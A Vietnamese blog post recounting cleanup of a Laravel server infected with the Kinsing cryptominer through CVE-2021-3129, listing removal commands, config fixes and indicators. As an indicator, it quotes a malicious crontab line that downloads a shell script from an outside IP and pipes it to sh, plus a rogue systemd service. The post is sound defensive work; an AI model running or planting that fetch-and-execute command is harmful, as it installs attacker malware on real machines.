Một ngày đẹp trời mình đã thấy 1 trong những máy chủ cũ của mình cảnh báo mức CPU 300%, mình nghĩ chỉ là 1 process thông thường nào đó mà nó bị nghẽn mà thôi, nhưng 1 lúc sau lại có một cảnh báo tương tự và vì vậy mình đã dạo 1 vòng để kiểm tra nó.
Bụp:
2 tiến trình đào coin đang chạy như "cờ hó tuột xích", khiến cho CPU tăng cao một cách bất thường.
Lượt một vòng kiểm tra xem lí do vì sao nào..
Kiểm tra Log:
Một loạt các request được Nginx log lại.
[11/Sep/2021:00:34:20 +0000] 45.146.164.110 "POST /_ignition/execute-solution HTTP/1.1" 200
Tiếp tục dựa vào thông tin từ process và log, mình lần mò thì con này có từ tháng 2/2021 cơ =))
Link khai thác về bug CVE-2021-3129 này: https://www.ambionics.io/blog/laravel-debug-rce
Đã có rất nhiều issues được raise lên và cũng đã có nhiều cách fix, sau đó mình tổng hợp lại và bắt đầu xử lý chúng.
- https://github.com/facade/ignition/issues/350
- https://github.com/docker-library/redis/issues/217
- https://github.com/laradock/laradock/issues/2451
Dưới đây mình tổng hợp lại các cách mà các SE khác đã hướng dẫn trên Internet.
Loại bỏ virus
#Tìm và xóa
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
#Tạo file mới cùng tên và sửa lại quyền read-only
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
echo "kinsing is fine now" > /var/tmp/kinsing
chattr +i /tmp/kdevtmpfsi
chattr +i /var/tmp/kinsing
Kiểm tra lại ENV
...
APP_DEBUG=true
...
Kiểm tra và cập nhật thư viện facade/ignition nên cao hơn 2.5.1
...
"facade/ignition": "^2.5.1",
...
composer update facade/ignition
Loại bỏ crontab nếu phát hiện điều này
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Kiểm tra service của máy chủ
/usr/lib/systemd/system/bot.service
ExecStart=/etc/kinsing
Kiểm tra Port/Firewall máy chủ, đảm bảo Port 9000 không được public
Ngoài ra: không nên sử dụng Laradock trong môi trường Production. Nếu đang sử dụng bạn cần kiểm tra các công 3306, 9000 có đang mở hay không.
Trên đây là các cách để kiểm tra và fix lỗi mình tổng hợp lại được.
May mắn là mình có sử dụng Docker nữa, nên mình đã xóa và re-up lại toàn bộ container trong 1 nốt nhạc (Giá trị nhất cái quả này), chứ mà cài luôn trên máy chủ thì giờ đang ngồi scan vỡ mặt thớt rồi.
Sau 4 bước trên thì máy chủ của mình đã ổn định trở lại CPU gần như ~0.x%.
Chúc các bạn thành công.